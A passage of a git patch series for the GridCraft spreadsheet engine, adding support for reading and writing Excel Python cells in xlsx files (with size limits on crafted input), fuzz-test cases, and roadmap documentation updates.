+ let xml = sheet_xml(&gridcraft_xlsx::write_xlsx(&wb).unwrap()); + assert!(!xml.contains("r=\"A2\"") && !xml.contains("r=\"B3\""), "{xml}"); + assert!(xml.contains("r=\"C2\""), "{xml}"); +} + +#[test] +fn a_formula_entered_in_a_python_spill_takes_the_area_as_a_formula_would() { + // A1's cached array spills over A1:A3; =SEQUENCE(2) entered in A2 is not blocked by that old + // spill (the Python cell is laid out again in the same pass), so it spills and A1 is blocked. + let mut s = s(); + py(&mut s, "A1", "[1, 2, 3]"); + cache(&mut s, "A1", array(3, 1, vec![10.0.into(), 20.0.into(), 30.0.into()]), "list"); + s.execute("formulas.calculateNow", json!({})).unwrap(); + assert_eq!(v(&s, "A3"), Value::Number(30.0)); + s.execute("cell.set", json!({"cell": "A2", "input": "=SEQUENCE(2)"})).unwrap(); + assert_eq!((v(&s, "A2"), v(&s, "A3")), (Value::Number(1.0), Value::Number(2.0))); + assert_eq!(v(&s, "A1"), Value::Error(CellError::Spill)); + let wb = &s.doc().unwrap().wb; + let mut fresh = (**wb).clone(); + gridcraft_calc::Calc::new().recalc_all(&mut fresh); + for c in ["A1", "A2", "A3"] { + let c = CellRef::parse(c).unwrap(); + assert_eq!(wb.active().unwrap().value(c), fresh.active().unwrap().value(c), "{c}"); + } +} diff --git a/crates/engine/tests/it/command_sequence_fuzz.rs b/crates/engine/tests/it/command_sequence_fuzz.rs index 21a856c75..3c241995e 100644 --- a/crates/engine/tests/it/command_sequence_fuzz.rs +++ b/crates/engine/tests/it/command_sequence_fuzz.rs @@ -32,7 +32,7 @@ use std::collections::BTreeSet; use std::sync::Arc; -use gridcraft_core::{CellRef, MAX_COLS, MAX_ROWS, RangeRef, Value, col_to_letters}; +use gridcraft_core::{CellError, CellRef, MAX_COLS, MAX_ROWS, RangeRef, Value, col_to_letters}; use gridcraft_engine::calc::Calc; use gridcraft_engine::model::{CalcMode, Formula, Sheet, Workbook}; use gridcraft_engine::{EngineError, Session, command_specs, find_command, io}; @@ -433,7 +433,12 @@ fn value_diff(a: &Workbook, b: &Workbook, what: &str) -> Option { } for c in keys { let (va, vb) = (x.value(c), y.value(c)); - if !same_value(&va, &vb) { + // A file caches the Python errors as #VALUE! (they aren't error codes of the file + // format), in a Python cell and in the formulas that read one; reading it back runs + // nothing. + let python_error = matches!(va, Value::Error(CellError::Python | CellError::Busy | CellError::Timeout | CellError::Blocked)) + && vb == Value::Error(CellError::Value); + if !same_value(&va, &vb) && !python_error { let f = x.cell(c).and_then(|c| c.formula.as_ref()).map(|f| format!(" (formula ={})", f.text)).unwrap_or_default(); return Some(format!("{}!{c}{f}: {va:?} in memory, {vb:?} after {what}", x.name)); } @@ -785,6 +790,7 @@ const CURATED: &[(&str, usize)] = &[ ("formulas.defineName", 2), ("formulas.deleteName", 1), ("edit.replace", 1), + ("python.set", 3), ]; fn generate(rng: &mut Rng, s: &Session) -> Step { @@ -818,6 +824,25 @@ fn curated_params(rng: &mut Rng, wb: &Workbook, id: &str) -> Json { p } "range.setValues" => json!({"range": near_cell(rng).a1(), "values": values_2d(rng, wb)}), + "python.set" => { + // Code with xl() references (which follow structural edits), quotes and line breaks; + // sometimes long enough to meet the formula limit. + let mut code = match rng.below(5) { + 0 => format!("xl(\"{}\") + 1", near_range(rng).a1()), + 1 => format!("a = xl('{}')\nb = \"q\\\"uote\"\na", near_cell(rng).a1()), + 2 => "[[1, 2], [3, 4]]".to_string(), + 3 => String::new(), + _ => "\"".repeat(rng.int(1, 5000) as usize), + }; + if rng.chance(5) { + code.push_str(&"x".repeat(8_100)); + } + let mut p = json!({"cell": near_cell(rng).a1(), "code": code}); + if rng.chance(30) { + p["output"] = json!(if rng.chance(50) { "object" } else { "value" }); + } + p + } "range.fill" => json!({"range": near_range(rng).a1(), "input": input(rng, wb)}), "selection.set" => { let mut p = json!({"range": range(rng)}); diff --git a/crates/model/src/python.rs b/crates/model/src/python.rs index abd4c9414..c8a993915 100644 --- a/crates/model/src/python.rs +++ b/crates/model/src/python.rs @@ -1,14 +1,19 @@ //! Python cells: the code a cell holds, its last result, and the text forms around it (the -//! `PY(…)` formula files store it as, and the `xl("…")` references inside it). +//! `PY("…",0|1)` formula of the function's syntax, and the `xl("…")` references inside it). An +//! xlsx file keeps the code in its Python part instead (see the xlsx crate). use gridcraft_core::{CellError, Value}; use serde::{Deserialize, Serialize}; /// Excel's limit on the characters of one formula. A Python cell's code must fit in it once it is -/// encoded as a file formula ([`PyCode::to_file_formula`]): quotes are doubled and every 255 -/// characters add `"&"`, so the limit on the code itself depends on what the code holds. +/// written as the PY formula of the function's syntax ([`PyCode::to_file_formula`]): quotes are +/// doubled and every 255 characters add `"&"`, so the limit on the code itself depends on what the +/// code holds. pub const MAX_FORMULA_CHARS: usize = 8_192; +/// The most cells a Python result may have (a crafted file can claim any size). +pub const MAX_RESULT_CELLS: usize = 1_000_000; + /// The prefix files put before `PY(`, as Excel writes it ([MS-XLSX]: `_xlfn._xlws.PY`). pub const FILE_PREFIX: &str = "_xlfn._xlws."; @@ -66,13 +71,14 @@ impl PyCode { format!("PY({lits},{})", u8::from(self.object)) } - /// The formula a file stores the cell as: [`PyCode::to_formula`] with Excel's - /// `_xlfn._xlws.` prefix, so Excel reads it as its own Python function. + /// [`PyCode::to_formula`] with Excel's `_xlfn._xlws.` prefix: the string-literal form + /// [`PyCode::from_formula`] reads from files that hold it, and what the size limit measures. + /// An xlsx file names the code by index instead ([MS-XLSX] 2.3.10.2). pub fn to_file_formula(&self) -> String { format!("{FILE_PREFIX}{}", self.to_formula()) } - /// Whether the code fits in a file formula of at most [`MAX_FORMULA_CHARS`] characters. + /// Whether the code fits in a PY formula of at most [`MAX_FORMULA_CHARS`] characters. pub fn fits(&self) -> bool { // Code longer than the limit can't fit; this also bounds the work for hostile input. self.code.chars().nth(MAX_FORMULA_CHARS).is_none() && self.to_file_formula().chars().nth(MAX_FORMULA_CHARS).is_none() diff --git a/crates/xlsx/src/lib.rs b/crates/xlsx/src/lib.rs index 650b22820..b687c35dc 100644 --- a/crates/xlsx/src/lib.rs +++ b/crates/xlsx/src/lib.rs @@ -24,6 +24,7 @@ mod ods; mod package; mod passthrough; mod pivot; +mod python_part; mod read; mod richdata; mod sheet_read; diff --git a/crates/xlsx/src/python_part.rs b/crates/xlsx/src/python_part.rs new file mode 100644 index 000000000..11793f9fc --- /dev/null +++ b/crates/xlsx/src/python_part.rs @@ -0,0 +1,318 @@ +//! The Python part ([MS-XLSX] 2.1.23, 2.3.10): where a workbook keeps the code of its Python cells. +//! +//! A Python cell's formula is `_xlfn._xlws.PY(index, return_type, …)` ([MS-XLSX] 2.3.10.2): the +//! first argument is the zero-based index of a `pythonScript` element in this part, whose `code` +//! is the cell's Python code, and the second is 0 (an Excel value) or 1 (a Python object). Further +//! arguments are references the code names as `%Px%`, `x` being the argument's zero-based index +//! ([MS-XLSX] 2.3.10.4). The part's root is `python` ([MS-XLSX] 2.4.102, CT_Python 2.6.249), with +//! `pythonScripts` (2.6.253) holding the `pythonScript` elements (2.6.252). +//! +//! GridCraft writes one script per Python cell, in the order the cells are written, with the code +//! as it is (its `xl()` references stay text in the code, so no further arguments). Reading +//! resolves the index and puts each `%Px%` back as the text of argument `x`. A formula that names +//! no script the part has keeps only its cached value. Hostile input is bounded: the part's size, +//! the number of scripts, each script's length, and the code all cells take from the part +//! together. + +use gridcraft_formula::Expr; +use gridcraft_model::PyCode; +use gridcraft_model::python::{FILE_PREFIX, MAX_FORMULA_CHARS}; + +use crate::IoError; +use crate::read::Ctx; +use crate::xml::{self, El}; + +/// Namespace of the part. +pub const NS: &str = "http://schemas.microsoft.com/office/spreadsheetml/2023/python"; +/// Relationship type from the workbook part. +pub const REL: &str = "http://schemas.microsoft.com/office/2023/09/relationships/Python"; +/// Last segment of [`REL`], as [`crate::package::Rel::kind`] holds it. +const REL_KIND: &str = "Python"; +/// Content type of the part. +pub const CONTENT_TYPE: &str = "application/vnd.ms-excel.python+xml"; +/// Part name we write (the format names none; the relationship finds it). +pub const PART: &str = "xl/python.xml"; + +/// Largest Python part read. +const MAX_PART_BYTES: u64 = 64 * 1024 * 1024; +/// Most scripts read from the part. +const MAX_SCRIPTS: usize = 1_000_000; +/// Most characters kept of one script: one more than a cell's code may have, so a longer script +/// still fails [`PyCode::fits`] and its cell keeps only its value, with the usual warning. +const MAX_SCRIPT_CHARS: usize = MAX_FORMULA_CHARS + 1; +/// Most bytes of code all the cells of a workbook take from the part together. Several formulas +/// may name one script, so without it a small part could fill memory. +pub const MAX_CODE_BYTES: usize = 64 * 1024 * 1024; + +/// The scripts read from a workbook's Python part, and what the cells took from them. +#[derive(Default)] +pub struct ScriptsIn { + scripts: Vec, + /// Bytes of code the cells may still take ([`MAX_CODE_BYTES`] in all). + budget: usize, + /// Python cells that kept only their value: no such script, or over the budget. + missing: usize, +} + +impl ScriptsIn { + /// The warning for the Python cells that kept only their value, if any. + pub fn warning(&self) -> Option { + (self.missing > 0).then(|| { + format!( + "{} Python cell(s) name code the file's Python part doesn't hold (or holds too much of); they kept only their values", + self.missing + ) + }) + } +} + +/// Reads the workbook's Python part, if it has one. A damaged part is a warning: its cells keep +/// their values. +pub fn read(cx: &mut Ctx<'_>, rels: &[crate::package::Rel]) -> Result { + let mut out = ScriptsIn { budget: MAX_CODE_BYTES, ..ScriptsIn::default() }; + let Some(rel) = rels.iter().find(|r| !r.external && r.kind.eq_ignore_ascii_case(REL_KIND)) else { return Ok(out) }; + let bytes = match cx.pkg.read_limited(&rel.target, MAX_PART_BYTES) { + Ok(Some(b)) => b, + Ok(None) => { + cx.warn(format!("missing part {}", rel.target)); + return Ok(out); + } + Err(IoError::TooLarge(m)) => { + cx.warn(format!("the Python part is too large ({m}); Python cells kept only their values")); + return Ok(out); + } + Err(e) => return Err(e), + }; + let mut over = 0usize; + let parsed = xml::parse_streaming(&bytes, &["pythonScript"], &mut |el: El| { + if out.scripts.len() < MAX_SCRIPTS { + out.scripts.push(script_code(&el)); + } else { + over += 1; + } + Ok(()) + }); + match parsed { + Ok(root) if root.name != "python" => { + cx.warn(format!("the Python part has the root <{}>; Python cells kept only their values", root.name)); + out.scripts.clear(); + } + Ok(_) => {} + Err(e) => cx.warn(format!("the Python part is damaged ({e}); kept {} scripts", out.scripts.len())), + } + if over > 0 { + cx.warn(format!("the Python part holds more than {MAX_SCRIPTS} scripts; {over} were not read")); + } + Ok(out) +} + +/// A `pythonScript` element's code (ST_Xstring), with `\n` line breaks, cut after +/// [`MAX_SCRIPT_CHARS`] characters. +fn script_code(el: &El) -> String { + let text = el.child("code").map(|c| c.text.as_str()).unwrap_or_default(); + let text = match text.char_indices().nth(MAX_SCRIPT_CHARS) { + Some((at, _)) => text.get(..at).unwrap_or_default(), + None => text, + }; + gridcraft_model::python::normalize_code(&xml::decode_xstring(text)) +} + +/// `PY(index, 0|1, params…)`, as a file's formula holds it: the index, whether the return type is +/// a Python object, and the parameters. `None` for anything else (the code in a string literal +/// is [`PyCode::from_formula`]'s form). +fn py_call(expr: &Expr) -> Option<(usize, bool, &[Expr])> { + let Expr::Call(name, args) = expr else { return None }; + let base = name.trim_start_matches("_XLFN.").trim_start_matches("_XLWS."); + if !base.eq_ignore_ascii_case("PY") { + return None; + } + let index = match args.first()? { + Expr::Number(n) if *n >= 0.0 && n.fract() == 0.0 && *n < MAX_SCRIPTS as f64 => *n as usize, + _ => return None, + }; + let object = match args.get(1)? { + Expr::Number(n) if *n == 0.0 => false, + Expr::Number(n) if *n == 1.0 => true, + _ => return None, + }; + Some((index, object, args.get(2..).unwrap_or_default())) +} + +/// What a file formula is to Python. +#[derive(Debug, PartialEq)] +pub enum PyFormula { + /// Not a `PY(…)` call: an ordinary formula. + Not, + /// A Python cell with this code. + Code(PyCode), + /// A `PY(index, …)` call naming a script the part doesn't hold (or over the budget): the + /// cell keeps only its cached value, since no calculation can evaluate the formula. + Missing, +} + +/// What a file formula makes: a Python cell from the Python part when it names a script, or from +/// string literals ([`PyCode::from_formula`]). `formula` is the parsed formula, `raw` the +/// formula's own text, which keeps line breaks in literal code. +pub fn cell_code(scripts: &mut ScriptsIn, formula: &gridcraft_model::Formula, raw: &str) -> PyFormula { + // The cheap test first: most formulas are not `PY(` calls. + if !gridcraft_model::python::is_py_formula(&formula.text) { + return PyFormula::Not; + } + let expr = formula.expr_arc(); + let Some((index, object, params)) = expr.as_deref().and_then(py_call) else { + return PyCode::from_formula(raw).map_or(PyFormula::Not, PyFormula::Code); + }; + let code = scripts.scripts.get(index).map(|code| with_params(code, params)); + match code.filter(|c| c.len() <= scripts.budget) { + Some(code) => { + scripts.budget -= code.len(); + PyFormula::Code(PyCode { object, ..PyCode::new(&code) }) + } + None => { + scripts.missing += 1; + PyFormula::Missing + } + } +} + +/// `code` with every `%Px%` (`x` at least 2, naming one of `params`) replaced by the parameter's +/// text. Stops growing past [`MAX_SCRIPT_CHARS`] characters: such code can't be a cell's. +fn with_params(code: &str, params: &[Expr]) -> String { + if params.is_empty() || !code.contains("%P") { + return code.to_string(); + } + let texts: Vec = params.iter().map(gridcraft_formula::print).collect(); + let mut out = String::with_capacity(code.len()); + let mut chars = 0usize; + let mut push = |out: &mut String, piece: &str| { + out.push_str(piece); + chars = chars.saturating_add(piece.chars().count()); + chars > MAX_SCRIPT_CHARS + }; + let mut rest = code; + while let Some(at) = rest.find("%P") { + if push(&mut out, rest.get(..at).unwrap_or_default()) { + return out; + } + let after = rest.get(at + 2..).unwrap_or_default(); + let digits = after.bytes().take_while(u8::is_ascii_digit).count(); + let param = (1..=6) + .contains(&digits) + .then(|| after.get(..digits).and_then(|d| d.parse::().ok())) + .flatten() + .filter(|_| after.as_bytes().get(digits) == Some(&b'%')) + .and_then(|x| x.checked_sub(2)) + .and_then(|x| texts.get(x)); + let full = match param { + Some(text) => { + rest = after.get(digits + 1..).unwrap_or_default(); + push(&mut out, text) + } + None => { + rest = after; + push(&mut out, "%P") + } + }; + if full { + return out; + } + } + out.push_str(rest); + out +} + +/// The formula a Python cell is saved as: `_xlfn._xlws.PY(index,0|1)`, its code being script +/// `index` of the part ([`write`]). +pub fn file_formula(index: usize, object: bool) -> String { + format!("{FILE_PREFIX}PY({index},{})", u8::from(object)) +} + +/// The Python part holding `scripts`, in order. Only written when there is at least one: the +/// format requires one `pythonScript` in `pythonScripts`. +pub fn write(scripts: &[String]) -> String { + let mut xml = format!("{}", crate::write::XML_DECL); + for code in scripts { + xml.push_str(""); + xml.push_str(&xml::esc(&xml::encode_xstring(code))); + xml.push_str(""); + } + xml.push_str(""); + xml +} + +#[cfg(test)] +mod tests { + use super::*; + + fn formula(text: &str) -> gridcraft_model::Formula { + gridcraft_model::Formula::new(&crate::fmla::from_file(text)) + } + + fn scripts(list: &[&str]) -> ScriptsIn { + ScriptsIn { scripts: list.iter().map(|s| s.to_string()).collect(), budget: MAX_CODE_BYTES, missing: 0 } + } + + #[test] + fn reads_the_index_form_and_parameters() { + let mut s = scripts(&["1 + 1", "df = xl(\"%P2%\", headers=True)\nxl('%P3%') + %P9% + %P1%"]); + let code = |s: &mut ScriptsIn, text: &str| match cell_code(s, &formula(text), text) { + PyFormula::Code(py) => Some(py), + _ => None, + }; + let a = code(&mut s, "_xlfn._xlws.PY(0,1)").unwrap(); + assert_eq!((a.code.as_str(), a.object), ("1 + 1", true)); + let b = code(&mut s, "_xlfn._xlws.PY(1,0,A1:B3,Sheet2!$C$4)").unwrap(); + assert_eq!(b.code, "df = xl(\"A1:B3\", headers=True)\nxl('Sheet2!$C$4') + %P9% + %P1%"); + assert!(!b.object); + // The literal form still reads (other applications, older files). + assert_eq!(code(&mut s, "_xlfn._xlws.PY(\"x = 1\",0)").unwrap().code, "x = 1"); + // A script the part doesn't hold: the cell keeps its value, and is counted for the warning. + let gone = "_xlfn._xlws.PY(7,0)"; + assert_eq!(cell_code(&mut s, &formula(gone), gone), PyFormula::Missing); + assert!(s.warning().is_some()); + for not in ["_xlfn._xlws.PY(-1,0)", "_xlfn._xlws.PY(0.5,0)", "_xlfn._xlws.PY(0,2)", "PY(A1,0)", "SUM(0,1)", "PYTHON_TYPE(A1)"] { + assert_eq!(cell_code(&mut s, &formula(not), not), PyFormula::Not, "{not}"); + } + } + + #[test] + fn hostile_scripts_are_bounded() { + // Many formulas naming one script take from one budget. + let code = "x".repeat(1_000); + let mut s = ScriptsIn { scripts: vec![code], budget: 2_500, missing: 0 }; + let f = formula("_xlfn._xlws.PY(0,0)"); + let taken = (0..5).filter(|_| matches!(cell_code(&mut s, &f, ""), PyFormula::Code(_))).count(); + assert_eq!(taken, 2); + assert_eq!(s.missing, 3); + // A parameter repeated many times stops growing the code just past a cell's limit. + let many = "%P2%".repeat(5_000); + let out = with_params(&many, &[Expr::Name("A_VERY_LONG_NAME_FOR_A_RANGE".into())]); + assert!((MAX_SCRIPT_CHARS..MAX_SCRIPT_CHARS + 40).contains(&out.chars().count()), "{}", out.len()); + assert!(!PyCode::new(&out).fits()); + // Odd tokens stay as they are. + assert_eq!(with_params("%P%P2%%P99999999%%P", &[Expr::Number(1.0)]), "%P1%P99999999%%P"); + // A long script is cut just past the limit, so it fails the cell's check. + let el = El { + name: "pythonScript".into(), + children: vec![El { name: "code".into(), text: "y".repeat(20_000), ..El::default() }], + ..El::default() + }; + assert_eq!(script_code(&el).chars().count(), MAX_SCRIPT_CHARS); + } + + #[test] + fn written_scripts_read_back() { + let codes = vec!["a = 1\nb = \"two\" & 'three' ".to_string(), "_x0041_ \u{1}".to_string(), String::new()]; + let xml = write(&codes); + assert!(xml.contains(NS) && xml.contains("a = 1\nb = \"two\" & 'three' <tag>"), "{xml}"); + let mut read = Vec::new(); + let root = xml::parse_streaming(xml.as_bytes(), &["pythonScript"], &mut |el| { + read.push(script_code(&el)); + Ok(()) + }) + .unwrap_or_default(); + assert_eq!(root.name, "python"); + assert_eq!(read, codes); + assert_eq!(file_formula(3, true), "_xlfn._xlws.PY(3,1)"); + } +} diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 55ef6757d..d7b9240e2 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -32,6 +32,8 @@ pub struct Ctx<'a> { pub cell_pictures: Vec>>, /// x14 conditional-format ids of the current sheet's data bars, with the index of the rule in `cond_formats`. pub cf_ext_ids: Vec<(String, usize)>, + /// The code of the workbook's Python cells, from its Python part. + pub python: crate::python_part::ScriptsIn, } impl Ctx<'_> { @@ -113,6 +115,7 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { num_fmts: Default::default(), cell_pictures: vec![], cf_ext_ids: vec![], + python: Default::default(), }; let root_rels = cx.pkg.rels("")?; let wb_part = find_rel(&root_rels, "officeDocument").map(|r| r.target.clone()).unwrap_or_else(|| "xl/workbook.xml".into()); @@ -140,6 +143,8 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { vec![] } }; + // The code of Python cells, which their formulas name by index. + cx.python = crate::python_part::read(&mut cx, &wb_rels)?; let mut wb = Workbook::new(); wb.sheets.clear(); @@ -394,6 +399,9 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { } } wb.preserved = kept.workbook(&mut cx, &wb_part, &wb_xml, &file_to_model); + if let Some(w) = cx.python.warning() { + cx.warn(w); + } // Calls of LAMBDA names are spelled like the names (the parser upper-cases them). wb.apply_name_call_case(); wb.styles = cx.styles; diff --git a/crates/xlsx/src/sheet_read.rs b/crates/xlsx/src/sheet_read.rs index bec67bd1a..5945a9669 100644 --- a/crates/xlsx/src/sheet_read.rs +++ b/crates/xlsx/src/sheet_read.rs @@ -41,16 +41,17 @@ struct RowState { rows: u64, } -/// Whether `pos` lies in a known dynamic range that isn't its anchor: the cell's cached value -/// gives way to the formula that will fill it. Charges every scanned range against one work -/// budget, then gives up consulting the ranges at all: the worst kind of file may then import -/// a few cached spill values, but it never stalls the whole import. -fn in_dynamic(st: &mut RowState, pos: CellRef) -> bool { +/// The known dynamic range `pos` lies in, when it isn't the range's anchor: the cell's cached +/// value gives way to the formula that will fill it (or, for a Python cell, becomes its +/// result). Charges every scanned range against one work budget, then gives up consulting the +/// ranges at all: the worst kind of file may then import a few cached spill values, but it +/// never stalls the whole import. +fn dynamic_range(st: &mut RowState, pos: CellRef) -> Option { if st.dynamic_checks > MAX_DYNAMIC_CHECKS || st.dynamic.is_empty() { - return false; + return None; } let ranges = st.dynamic.len(); - let hit = st.dynamic.iter().any(|r| r.contains(pos) && r.start != pos); + let hit = st.dynamic.iter().find(|r| r.contains(pos) && r.start != pos).copied(); st.dynamic_checks = st.dynamic_checks.saturating_add(ranges as u64); hit } @@ -515,8 +516,34 @@ fn read_cell(cx: &mut Ctx<'_>, sheet: &mut Sheet, st: &mut RowState, c: &El, pos } let dynamic = c.attr("cm").is_some(); let formula = c.child("f").and_then(|f| read_formula(cx, st, f, pos, dynamic)); - let value = if formula.is_none() && in_dynamic(st, pos) { Value::Empty } else { value }; - sheet.cells.set(pos, Cell { value, formula: formula.map(Arc::new), style, py: None }); + // A `PY(index,0|1)` formula is a Python cell whose code is a script of the Python part. The + // older `PY("…",0|1)` form is read from the formula's own text: the formula parser would fold + // line breaks in the code. A formula naming a script the part lacks keeps only its value. + let py = match (&formula, c.child("f")) { + (Some(fm), Some(f)) => crate::python_part::cell_code(&mut cx.python, fm, &f.text), + _ => crate::python_part::PyFormula::Not, + }; + let (formula, py) = match py { + crate::python_part::PyFormula::Not => (formula, None), + crate::python_part::PyFormula::Code(py) => (None, Some(Arc::new(py))), + crate::python_part::PyFormula::Missing => (None, None), + }; + let spilled_from = if formula.is_none() && py.is_none() { dynamic_range(st, pos) } else { None }; + let value = match spilled_from { + // A Python cell's spilled values are kept: they are its result until it runs again. A + // range larger than a result may be is a crafted file's: its values are dropped, like a + // formula's spilled values, and no spill is recorded. + Some(r) if r.count() <= gridcraft_model::python::MAX_RESULT_CELLS as u64 && sheet.cells.get(r.start).is_some_and(|a| a.py.is_some()) => { + if !value.is_empty() { + sheet.spill.insert(pos, value); + } + sheet.spill_ranges.insert(r.start, r); + Value::Empty + } + Some(_) => Value::Empty, + None => value, + }; + sheet.cells.set(pos, Cell { value, formula: formula.map(Arc::new), style, py }); } fn read_formula(cx: &mut Ctx<'_>, st: &mut RowState, f: &El, pos: CellRef, dynamic: bool) -> Option { diff --git a/crates/xlsx/src/sheet_write.rs b/crates/xlsx/src/sheet_write.rs index 9251edaa4..5203adc1b 100644 --- a/crates/xlsx/src/sheet_write.rs +++ b/crates/xlsx/src/sheet_write.rs @@ -119,7 +119,9 @@ pub fn write_sheet(wb: &Workbook, si: usize, selected: bool, out: &mut Out) -> ( let dynamic: BTreeMap = sheet .spill_ranges .iter() - .filter(|(a, r)| !r.is_single() && sheet.cells.get(**a).is_some_and(|c| c.formula.as_ref().is_some_and(|f| f.array.is_none()))) + .filter(|(a, r)| { + !r.is_single() && sheet.cells.get(**a).is_some_and(|c| c.py.is_some() || c.formula.as_ref().is_some_and(|f| f.array.is_none())) + }) .map(|(a, r)| (*a, *r)) .collect(); let mut extra: BTreeMap = BTreeMap::new(); @@ -686,6 +688,17 @@ fn write_cell( return; } let formula = if ov.is_some() { None } else { cell.and_then(|x| x.formula.as_ref()) }; + // A Python cell is saved as [MS-XLSX] 2.3.10 specifies, `_xlfn._xlws.PY(index,0|1)` with its + // code as script `index` of the Python part, and with its cached value; an application without + // Python shows the value (and #NAME? if it recalculates). + let py_text = if ov.is_some() || formula.is_some() { + None + } else { + cell.and_then(|x| x.py.as_ref()).map(|p| { + out.python_scripts.push(p.code.clone()); + crate::python_part::file_formula(out.python_scripts.len().saturating_sub(1), p.object) + }) + }; let value: Value = match (ov, extra) { (Some(t), _) => Value::text(t.as_str()), (None, Some(v)) => v.clone(), @@ -709,11 +722,12 @@ fn write_cell( let own = formula.filter(|f| f.dynamic && f.array.is_none()).map(|_| RangeRef::cell(c)); let dynamic = dynamic.or(own.as_ref()); // A non-spilling formula may still need array evaluation to avoid implicit intersection. - if dynamic.is_some() && formula.is_some_and(|f| f.array.is_none()) { + if dynamic.is_some() && (formula.is_some_and(|f| f.array.is_none()) || py_text.is_some()) { s.push_str(" cm=\"1\""); out.dynamic_arrays = true; } - if let Some(f) = formula { + let text = formula.map(|f| esc(&crate::fmla::to_file(f))).or_else(|| py_text.map(|t| esc(&t))); + if let Some(text) = text { let t = match &value { Value::Text(_) => " t=\"str\"", Value::Bool(_) => " t=\"b\"", @@ -722,8 +736,7 @@ fn write_cell( }; s.push_str(t); s.push('>'); - let text = esc(&crate::fmla::to_file(f)); - match (f.array, dynamic) { + match (formula.and_then(|f| f.array), dynamic) { (Some(r), _) => { let _ = write!(s, "{text}", r.a1()); } diff --git a/crates/xlsx/src/write.rs b/crates/xlsx/src/write.rs index b96df35c7..41ab3e8a3 100644 --- a/crates/xlsx/src/write.rs +++ b/crates/xlsx/src/write.rs @@ -128,6 +128,8 @@ pub struct Out { pub cell_pictures: crate::richdata::PicturesOut, /// Kept (pass-through) parts written so far. pub kept: crate::passthrough::KeptOut, + /// The code of the Python cells written so far, in order: script `i` of the Python part. + pub python_scripts: Vec, } impl Out { @@ -237,6 +239,7 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) needs_calc: false, cell_pictures: Default::default(), kept: Default::default(), + python_scripts: vec![], }; out.kept.reserve_vml_blocks(wb); out.default_type("rels", "application/vnd.openxmlformats-package.relationships+xml"); @@ -399,6 +402,12 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) pivots.finish(wb, &mut out, &|code: &str| crate::tables::builtin_id(code).or_else(|| fmt_ids.get(code).copied())); out.part("xl/styles.xml", Some("application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"), styles.into_bytes()); wb_rels.add("styles", "styles.xml"); + if !out.python_scripts.is_empty() { + use crate::python_part as py; + let part = py::write(&out.python_scripts); + out.part(py::PART, Some(py::CONTENT_TYPE), part.into_bytes()); + wb_rels.add_uri(py::REL, "python.xml"); + } if wb.styles.iter().any(|(_, st)| st.num_fmt.as_str() == "checkbox") { use crate::feature_bags as fpb; out.part(fpb::PART, Some(fpb::CONTENT_TYPE), fpb::checkbox_part().into_bytes()); From 1d7206ebdd105aa768b97a336aaf9c631a7ef4c7 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 25 Oct 2026 12:55:01 -0400 Subject: [PATCH 012/298] Docs: Python cells as data (architecture, file formats, functions, roadmap) architecture.md gains a Python cells section: the model type, the text forms and the size limit, the xlsx Python part, calc laying out kept results as graph nodes, and the limits on open. file-format-parity.md gains a Python cells table (xlsx as [MS-XLSX] 2.3.10 specifies, the formula naming its code in the Python part, with cached values and spills; other formats; GridCraft JSON; the limits on open; and rich-value object results as not kept). function-parity.md marks the four Python errors done with their ERROR.TYPE numbers and adds a Python in cells row (stored, not run). ROADMAP.md records the progress. The return types are written as "0 or 1" so no table cell holds an unescaped pipe. architecture.md's "Last updated" label loses the space inside its bold markers. --- ROADMAP.md | 4 +++- docs/architecture.md | 22 +++++++++++++++++++++- docs/file-format-parity.md | 13 ++++++++++++- docs/function-parity.md | 6 ++++-- 4 files changed, 40 insertions(+), 5 deletions(-) diff --git a/ROADMAP.md b/ROADMAP.md index 6b9b0fce7..0e94e97bb 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (Python cells stored and kept in files; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-10-25 | Python cells as data: `python.set` stores code in a cell, Python cells copy, move, fill and undo like formulas, and `.xlsx` reads and writes Python cells as [MS-XLSX] specifies (`_xlfn._xlws.PY(index,0 or 1)`, the code in the workbook's Python part) with cached values and spills, so such workbooks open with their results; nothing runs Python (new code shows `#BLOCKED!`), and opening a file limits code size, result size and spill ranges | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Go To lists the named ranges of every sheet (`Sheet2!Name` for a name scoped to another sheet; hidden names, constants and formulas left out) and the references entered before, a double-click goes to an entry, and the Reference box takes several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30`) | | 2026-10-24 | Status bar: a right-click opens a menu that sets which selection statistics show (Average, Count and Sum by default; Numerical Count, Minimum and Maximum are new), kept with the preferences (`view.statusBar`) | @@ -242,6 +243,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | Change | Summary | |---|---|---| +| 2026-10-25 | minor | Progress log: Python cells as data | | 2026-10-25 | minor | Progress log: AutoSum over a selected row, and a selection's empty last row and column | | 2026-10-23 | minor | Progress log: accounting negatives in number text | | 2026-10-23 | minor | Progress log: INDEX with one index on a 2-D reference is #REF! | diff 